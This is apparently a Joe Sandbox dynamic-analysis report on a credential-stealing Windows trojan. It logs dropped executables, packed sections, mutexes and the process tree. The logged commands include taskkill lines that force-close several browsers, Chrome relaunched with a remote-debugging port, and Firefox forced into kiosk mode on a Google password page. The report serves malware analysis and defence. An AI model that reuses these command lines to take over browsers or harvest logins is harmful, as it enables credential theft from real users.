Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F37920	10_2_00F37920
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F57A4A	10_2_00F57A4A
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F57CA7	10_2_00F57CA7
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F51C77	10_2_00F51C77
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F69EEE	10_2_00F69EEE
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FBBE44	10_2_00FBBE44
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F51F32	10_2_00F51F32

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe E4F2DD198EDB21635F20639DC65BCAE2B2CF6A66B9F8A37B7253DD7B353C3EF9

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: String function: 00F50A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: String function: 00F4F9F2 appears 31 times

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1556

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980096219346049
Source: file.exe	Static PE information: Section: shrhbpjb ZLIB complexity 0.9945159290437823
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980096219346049
Source: skotes.exe.0.dr	Static PE information: Section: shrhbpjb ZLIB complexity 0.9945159290437823
Source: random[1].exe.6.dr	Static PE information: Section: znqcpoet ZLIB complexity 0.9944169786241319
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9993148053278689
Source: random[1].exe0.6.dr	Static PE information: Section: hyifqwux ZLIB complexity 0.9945358427444307
Source: 0db0ccc3ed.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993148053278689
Source: 0db0ccc3ed.exe.6.dr	Static PE information: Section: hyifqwux ZLIB complexity 0.9945358427444307
Source: random[1].exe1.6.dr	Static PE information: Section: yqttidiy ZLIB complexity 0.9948113579080026
Source: e01d8601b1.exe.6.dr	Static PE information: Section: yqttidiy ZLIB complexity 0.9948113579080026

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@105/40@106/19

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FA37B5 GetLastError,FormatMessageW,

10_2_00FA37B5

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F910BF AdjustTokenPrivileges,CloseHandle,		10_2_00F910BF
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F916C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		10_2_00F916C3

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FA51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

10_2_00FA51CD

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F9D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

10_2_00F9D4DC

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FA648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

10_2_00FA648E

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F342A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

10_2_00F342A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:64:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1716:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3736
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 0db0ccc3ed.exe, 0000000D.00000003.2834812834.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2838248197.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: e01d8601b1.exe, 00000009.00000002.3188760152.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: firefox.exe, 0000001B.00000003.2912594840.00000177F4DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE moz_places SET foreign_count = foreign_count + 1 WHERE id = NEW.place_id;

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 0db0ccc3ed.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: e01d8601b1.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 0db0ccc3ed.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signature-v

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2172,i,4033161327773093289,5311636695156813661,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5282970-75f9-4307-8dad-68794cef3cce} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177dca6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4408 -parentBuildID 20230927232528 -prefsHandle 4344 -prefMapHandle 4340 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2a56f3a-59fa-4b64-8f00-5927fb5efce1} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177eec86210 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1556
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c442008-3ced-412d-9347-f3234b6d38f2} 7272 "\\.\pipe\gecko-crash-server-pipe.7272" 19c1ff6f310 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2172,i,4033161327773093289,5311636695156813661,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5282970-75f9-4307-8dad-68794cef3cce} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177dca6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4408 -parentBuildID 20230927232528 -prefsHandle 4344 -prefMapHandle 4340 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2a56f3a-59fa-4b64-8f00-5927fb5efce1} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177eec86210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
